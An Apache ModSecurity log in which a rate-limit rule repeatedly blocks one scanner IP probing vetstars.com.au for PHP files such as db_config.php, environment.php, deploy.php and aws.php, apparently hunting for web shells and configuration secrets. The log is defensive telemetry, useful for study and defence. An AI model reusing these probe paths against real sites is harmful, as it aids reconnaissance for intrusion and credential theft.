[Sat Apr 25 06:57:15.841380 2026] [:error] [pid 44319:tid 44331] [client 20.251.112.6:3683] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/litespeed.php"] [unique_id "aev1S8zJPAVLUb2pWtJaRgAAAAI"]
[Sat Apr 25 06:57:16.362458 2026] [:error] [pid 44425:tid 44446] [client 20.251.112.6:47517] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/environments.php"] [unique_id "aev1TCUl-VlItvY2tR8WyAAAANM"]
[Sat Apr 25 06:57:16.885451 2026] [:error] [pid 44319:tid 44342] [client 20.251.112.6:49543] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/environments.php"] [unique_id "aev1TMzJPAVLUb2pWtJaSAAAAA0"]
[Sat Apr 25 06:57:17.405316 2026] [:error] [pid 44319:tid 44346] [client 20.251.112.6:3649] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/environments.php"] [unique_id "aev1TczJPAVLUb2pWtJaSgAAABE"]
[Sat Apr 25 06:57:17.933395 2026] [:error] [pid 44319:tid 44349] [client 20.251.112.6:60543] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/environments.php"] [unique_id "aev1TczJPAVLUb2pWtJaSwAAABQ"]
[Sat Apr 25 06:57:18.453076 2026] [:error] [pid 44319:tid 44352] [client 20.251.112.6:39448] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/raf.php"] [unique_id "aev1TszJPAVLUb2pWtJaTgAAABc"]
[Sat Apr 25 06:57:18.976107 2026] [:error] [pid 44319:tid 44343] [client 20.251.112.6:3942] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/raf.php"] [unique_id "aev1TszJPAVLUb2pWtJaTwAAAA4"]
[Sat Apr 25 06:57:19.495333 2026] [:error] [pid 44319:tid 44332] [client 20.251.112.6:3946] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/raf.php"] [unique_id "aev1T8zJPAVLUb2pWtJaUQAAAAM"]
[Sat Apr 25 06:57:20.013951 2026] [:error] [pid 44321:tid 44384] [client 20.251.112.6:47489] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/raf.php"] [unique_id "aev1UI1b5lV-asWa_Y4ztAAAAIE"]
[Sat Apr 25 06:57:20.535149 2026] [:error] [pid 44319:tid 44334] [client 20.251.112.6:47508] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "aev1UMzJPAVLUb2pWtJaVAAAAAU"]
[Sat Apr 25 06:57:21.054875 2026] [:error] [pid 44321:tid 44390] [client 20.251.112.6:3948] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "aev1UY1b5lV-asWa_Y4zuAAAAIc"]
[Sat Apr 25 06:57:21.571718 2026] [:error] [pid 44321:tid 44399] [client 20.251.112.6:65369] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "aev1UY1b5lV-asWa_Y4zvAAAAJA"]
[Sat Apr 25 06:57:22.090512 2026] [:error] [pid 44321:tid 44395] [client 20.251.112.6:39455] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "aev1Uo1b5lV-asWa_Y4zvwAAAIw"]
[Sat Apr 25 06:57:22.609162 2026] [:error] [pid 44321:tid 44391] [client 20.251.112.6:3655] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/infos.php"] [unique_id "aev1Uo1b5lV-asWa_Y4zwwAAAIg"]
[Sat Apr 25 06:57:23.127872 2026] [:error] [pid 44319:tid 44351] [client 20.251.112.6:49301] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/infos.php"] [unique_id "aev1U8zJPAVLUb2pWtJaVwAAABY"]
[Sat Apr 25 06:57:23.647446 2026] [:error] [pid 44320:tid 44358] [client 20.251.112.6:52682] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/infos.php"] [unique_id "aev1UzmFqSpku_dij8h9igAAAEI"]
[Sat Apr 25 06:57:24.169363 2026] [:error] [pid 44425:tid 44433] [client 20.251.112.6:60539] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/infos.php"] [unique_id "aev1VCUl-VlItvY2tR8W0wAAAMY"]
[Sat Apr 25 06:57:24.690996 2026] [:error] [pid 44321:tid 44384] [client 20.251.112.6:41736] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws.php"] [unique_id "aev1VI1b5lV-asWa_Y4zzAAAAIE"]
[Sat Apr 25 06:57:25.214244 2026] [:error] [pid 44320:tid 44369] [client 20.251.112.6:63282] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws.php"] [unique_id "aev1VTmFqSpku_dij8h9jQAAAE0"]
[Sat Apr 25 06:57:25.744131 2026] [:error] [pid 44320:tid 44370] [client 20.251.112.6:47493] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws.php"] [unique_id "aev1VTmFqSpku_dij8h9jwAAAE4"]
[Sat Apr 25 06:57:26.266647 2026] [:error] [pid 44319:tid 44352] [client 20.251.112.6:49306] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws.php"] [unique_id "aev1VszJPAVLUb2pWtJaXAAAABc"]
[Sat Apr 25 06:57:26.792696 2026] [:error] [pid 46083:tid 46098] [client 20.251.112.6:51225] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/embed.php"] [unique_id "aev1Vjxw_Zq74vWdjmlFJwAAAQs"]
[Sat Apr 25 06:57:27.315730 2026] [:error] [pid 44320:tid 44377] [client 20.251.112.6:3695] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/embed.php"] [unique_id "aev1VzmFqSpku_dij8h9kgAAAFU"]
[Sat Apr 25 06:57:27.833904 2026] [:error] [pid 46083:tid 46100] [client 20.251.112.6:60526] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/embed.php"] [unique_id "aev1Vzxw_Zq74vWdjmlFKQAAAQ0"]
[Sat Apr 25 06:57:28.355176 2026] [:error] [pid 44319:tid 44342] [client 20.251.112.6:55315] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/embed.php"] [unique_id "aev1WMzJPAVLUb2pWtJaXQAAAA0"]
[Sat Apr 25 06:57:28.877400 2026] [:error] [pid 44320:tid 44364] [client 20.251.112.6:47548] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stat.php"] [unique_id "aev1WDmFqSpku_dij8h9lgAAAEg"]
[Sat Apr 25 06:57:29.396970 2026] [:error] [pid 46083:tid 46091] [client 20.251.112.6:51255] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stat.php"] [unique_id "aev1WTxw_Zq74vWdjmlFLwAAAQQ"]
[Sat Apr 25 06:57:29.921021 2026] [:error] [pid 44425:tid 44437] [client 20.251.112.6:3681] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stat.php"] [unique_id "aev1WSUl-VlItvY2tR8W2AAAAMo"]
[Sat Apr 25 06:57:30.444417 2026] [:error] [pid 46083:tid 46107] [client 20.251.112.6:49285] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stat.php"] [unique_id "aev1Wjxw_Zq74vWdjmlFMAAAARM"]
[Sat Apr 25 06:57:30.977494 2026] [:error] [pid 46083:tid 46097] [client 20.251.112.6:39462] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/setup.php"] [unique_id "aev1Wjxw_Zq74vWdjmlFMwAAAQo"]
[Sat Apr 25 06:57:31.494837 2026] [:error] [pid 46083:tid 46110] [client 20.251.112.6:63290] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/setup.php"] [unique_id "aev1Wzxw_Zq74vWdjmlFNgAAARY"]
[Sat Apr 25 06:57:32.014616 2026] [:error] [pid 46083:tid 46105] [client 20.251.112.6:60508] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/setup.php"] [unique_id "aev1XDxw_Zq74vWdjmlFOgAAARI"]
[Sat Apr 25 06:57:32.533618 2026] [:error] [pid 46083:tid 46091] [client 20.251.112.6:52713] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/setup.php"] [unique_id "aev1XDxw_Zq74vWdjmlFPwAAAQQ"]
[Sat Apr 25 06:57:33.057061 2026] [:error] [pid 46083:tid 46088] [client 20.251.112.6:3670] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/development.php"] [unique_id "aev1XTxw_Zq74vWdjmlFQgAAAQE"]
[Sat Apr 25 06:57:33.584331 2026] [:error] [pid 44319:tid 44339] [client 20.251.112.6:3953] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/development.php"] [unique_id "aev1XczJPAVLUb2pWtJaXgAAAAo"]
[Sat Apr 25 06:57:34.105168 2026] [:error] [pid 46083:tid 46094] [client 20.251.112.6:49743] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/development.php"] [unique_id "aev1Xjxw_Zq74vWdjmlFSAAAAQc"]
[Sat Apr 25 06:57:34.630220 2026] [:error] [pid 46083:tid 46092] [client 20.251.112.6:49763] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/development.php"] [unique_id "aev1Xjxw_Zq74vWdjmlFTAAAAQU"]
[Sat Apr 25 06:57:35.153529 2026] [:error] [pid 44319:tid 44335] [client 20.251.112.6:52725] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/environment.php"] [unique_id "aev1X8zJPAVLUb2pWtJaXwAAAAY"]
[Sat Apr 25 06:57:35.672559 2026] [:error] [pid 44319:tid 44345] [client 20.251.112.6:63287] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/environment.php"] [unique_id "aev1X8zJPAVLUb2pWtJaYQAAABA"]
[Sat Apr 25 06:57:36.194740 2026] [:error] [pid 44425:tid 44447] [client 20.251.112.6:3956] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/environment.php"] [unique_id "aev1YCUl-VlItvY2tR8W3wAAANQ"]
[Sat Apr 25 06:57:36.712633 2026] [:error] [pid 44320:tid 44367] [client 20.251.112.6:60491] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/environment.php"] [unique_id "aev1YDmFqSpku_dij8h9mgAAAEs"]
[Sat Apr 25 06:57:37.233665 2026] [:error] [pid 46083:tid 46091] [client 20.251.112.6:3927] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db_config.php"] [unique_id "aev1YTxw_Zq74vWdjmlFUAAAAQQ"]
[Sat Apr 25 06:57:37.752839 2026] [:error] [pid 44320:tid 44369] [client 20.251.112.6:46064] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db_config.php"] [unique_id "aev1YTmFqSpku_dij8h9mwAAAE0"]
[Sat Apr 25 06:57:38.273107 2026] [:error] [pid 44320:tid 44379] [client 20.251.112.6:52732] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db_config.php"] [unique_id "aev1YjmFqSpku_dij8h9nQAAAFc"]
[Sat Apr 25 06:57:38.797916 2026] [:error] [pid 44320:tid 44360] [client 20.251.112.6:55301] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db_config.php"] [unique_id "aev1YjmFqSpku_dij8h9ngAAAEQ"]
[Sat Apr 25 06:57:39.324629 2026] [:error] [pid 44425:tid 44432] [client 20.251.112.6:60481] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Get_Site_Info.php"] [unique_id "aev1YyUl-VlItvY2tR8W4wAAAMU"]
[Sat Apr 25 06:57:39.846306 2026] [:error] [pid 44425:tid 44434] [client 20.251.112.6:47494] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Get_Site_Info.php"] [unique_id "aev1YyUl-VlItvY2tR8W5AAAAMc"]
[Sat Apr 25 06:57:40.370002 2026] [:error] [pid 44320:tid 44357] [client 20.251.112.6:3955] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Get_Site_Info.php"] [unique_id "aev1ZDmFqSpku_dij8h9pQAAAEE"]
[Sat Apr 25 06:57:40.897167 2026] [:error] [pid 44320:tid 44374] [client 20.251.112.6:49785] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Get_Site_Info.php"] [unique_id "aev1ZDmFqSpku_dij8h9pgAAAFI"]
[Sat Apr 25 06:57:41.418199 2026] [:error] [pid 44321:tid 44403] [client 20.251.112.6:61178] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/deploy.php"] [unique_id "aev1ZY1b5lV-asWa_Y40AQAAAJQ"]
[Sat Apr 25 06:57:42.656901 2026] [:error] [pid 44320:tid 44378] [client 20.251.112.6:54084] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/deploy.php"] [unique_id "aev1ZjmFqSpku_dij8h9qAAAAFY"]
[Sat Apr 25 06:57:43.174932 2026] [:error] [pid 44321:tid 44404] [client 20.251.112.6:35531] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/deploy.php"] [unique_id "aev1Z41b5lV-asWa_Y40BQAAAJU"]
[Sat Apr 25 06:57:43.695130 2026] [:error] [pid 44321:tid 44393] [client 20.251.112.6:55356] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/deploy.php"] [unique_id "aev1Z41b5lV-asWa_Y40BgAAAIo"]
[Sat Apr 25 06:57:44.213614 2026] [:error] [pid 44425:tid 44427] [client 20.251.112.6:54074] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apis.php"] [unique_id "aev1aCUl-VlItvY2tR8W6wAAAMA"]
[Sat Apr 25 06:57:44.740502 2026] [:error] [pid 44425:tid 44446] [client 20.251.112.6:48002] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apis.php"] [unique_id "aev1aCUl-VlItvY2tR8W7wAAANM"]
[Sat Apr 25 06:57:45.268846 2026] [:error] [pid 44321:tid 44397] [client 20.251.112.6:48056] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apis.php"] [unique_id "aev1aY1b5lV-asWa_Y40CQAAAI4"]
[Sat Apr 25 06:57:45.790344 2026] [:error] [pid 44321:tid 44396] [client 20.251.112.6:58496] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apis.php"] [unique_id "aev1aY1b5lV-asWa_Y40CwAAAI0"]
